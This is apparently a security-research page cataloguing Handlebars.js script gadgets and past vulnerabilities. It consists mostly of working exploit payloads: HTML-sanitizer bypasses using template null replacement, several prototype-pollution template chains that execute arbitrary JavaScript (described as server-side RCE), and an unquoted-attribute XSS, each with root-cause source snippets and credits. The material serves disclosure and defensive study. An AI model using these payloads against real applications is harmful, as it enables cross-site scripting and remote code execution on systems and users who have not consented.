Handlebars provides the power necessary to let you build semantic templates effectively with no frustration. Handlebars is largely compatible with Mustache templates. In most cases it is possible to swap out Mustache with Handlebars and continue using your current templates.
In the case of sanitized input, it may be possible to exploit the null replacement behavior in Handlebars.js templates to bypass the sanitizer when an invalid template is used.
For this to work, quotes must be used in the template because Handlebars.js template engine waits for: ID
, STRING
, NUMBER
, BOOLEAN
, UNDEFINED
, NULL
or DATA
.
<!-- user input -->
<div id="template"><a href="java{{'a" x="'}}script:alert(document.domain)">Click Me</a></div>
<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.min.js"></script>
<script>
const source = document.getElementById("template").innerHTML;
const template = Handlebars.compile(source);
const context = { name: "<h1>hello</h1>" };
document.getElementById("template").innerHTML = template(context);
</script>
The same behavior can be abused in case of 2 raw injection points.
<div id="template">
<img src="https://gmsgadget.com/<!-- user input 1 -->{{'">
<div>Random Text</div>
<!-- user input 2 -->'}}" onerror="alert(document.domain)">
<div>Random Text</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.min.js"></script>
<script>
const source = document.getElementById("template").innerHTML;
const template = Handlebars.compile(source);
const context = { name: "<h1>hello</h1>" };
document.getElementById("template").innerHTML = template(context);
</script>
There was a prototype pollution in Handlebars.js that allowed to execute JavaScript code.
On server-side usage, this is a Remote Code Execution (RCE).
<script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/handlebars.js/4.7.6/handlebars.min.js"></script>
<script nonce="secret">
// user input
var s = `
{{#with (__lookupGetter__ "__proto__")}}
{{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}}
{{#with ../constructor.prototype}}
{{../../constructor.defineProperty . "hasOwnProperty" ..}}
{{/with}}
{{/with}}
{{/with}}
{{#with "constructor"}}
{{#with split}}
{{pop (push "alert(document.domain);")}}
{{#with .}}
{{#with (concat (lookup join (slice 0 1)))}}
{{#each (slice 2 3)}}
{{#with (apply 0 ../..)}}
{{.}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
`;
var template = Handlebars.compile(s, { strict: true });
template({});
</script>
Root Cause
strict: function(obj, name, loc) {
if (!obj || !(name in obj)) {
throw new Exception('"' + name + '" not defined in ' + obj, {
loc: loc
});
}
return obj[name];
},
Related links:
Found by Francois Lajeunesse-Robert.
There was a prototype pollution in Handlebars.js that allowed to execute JavaScript code.
On server-side usage, this is a Remote Code Execution (RCE).
<script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/handlebars.js/4.5.1/handlebars.min.js"></script>
<script nonce="secret">
// user input
var s = `
{{#with "constructor"}} {{#with split as |a|}} {{pop (push "alert(document.domain);")}} {{#with (concat (lookup join (slice 0 1)))}} {{#each (slice 2 3)}} {{#with (apply 0 a)}} {{.}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}}
`;
var template = Handlebars.compile(s);
template({});
</script>
Root Cause
Source: https://github.com/handlebars-lang/handlebars.js/blob/v4.5.1/lib/handlebars/helpers/lookup.js
export default function(instance) {
instance.registerHelper('lookup', function(obj, field) {
if (!obj) {
return obj;
}
if (field === 'constructor' && !obj.propertyIsEnumerable(field)) {
return undefined;
}
return obj[field];
});
}
Related links:
Found by Francois Lajeunesse-Robert.
There was a prototype pollution in Handlebars.js that allowed to execute JavaScript code.
On server-side usage, this is a Remote Code Execution (RCE).
<script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/handlebars.js/4.0.13/handlebars.min.js"></script>
<script nonce="secret">
// user input
var s = `
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return alert(document.domain);"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
`;
var template = Handlebars.compile(s);
template({});
</script>
Root Cause
nameLookup: function(parent, name/* , type*/) {
if (JavaScriptCompiler.isValidJavaScriptVariableName(name)) {
return [parent, '.', name];
} else {
return [parent, '[', JSON.stringify(name), ']'];
}
}
Related links:
Found by Mahmoud Gamal.
There was a prototype pollution in Handlebars.js that allowed to execute JavaScript code.
On server-side usage, this is a Remote Code Execution (RCE).
I didn't managed to find the PoC for this vulnerability...
Root Cause
instance.registerHelper('lookup', function(obj, field) {
if (!obj) {
return obj;
}
if (field === 'constructor' && !obj.propertyIsEnumerable(field)) {
return undefined;
}
return obj[field];
});
Related links:
Found by @itszn13.
The Handlebars.js library did not prevent unquoted templated attribute values from adding arbitrary new attributes containing spaces.
<!-- user input -->
<div id="template"></div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/handlebars.js/3.0.7/handlebars.min.js"></script>
<script>
const template = Handlebars.compile(`<img src={{userinput}}>`);
const context = { userinput: "a onerror=alert(document.domain)" };
document.getElementById("template").innerHTML = template(context);
</script>
Related links:
Found by @Matias P. Brutti.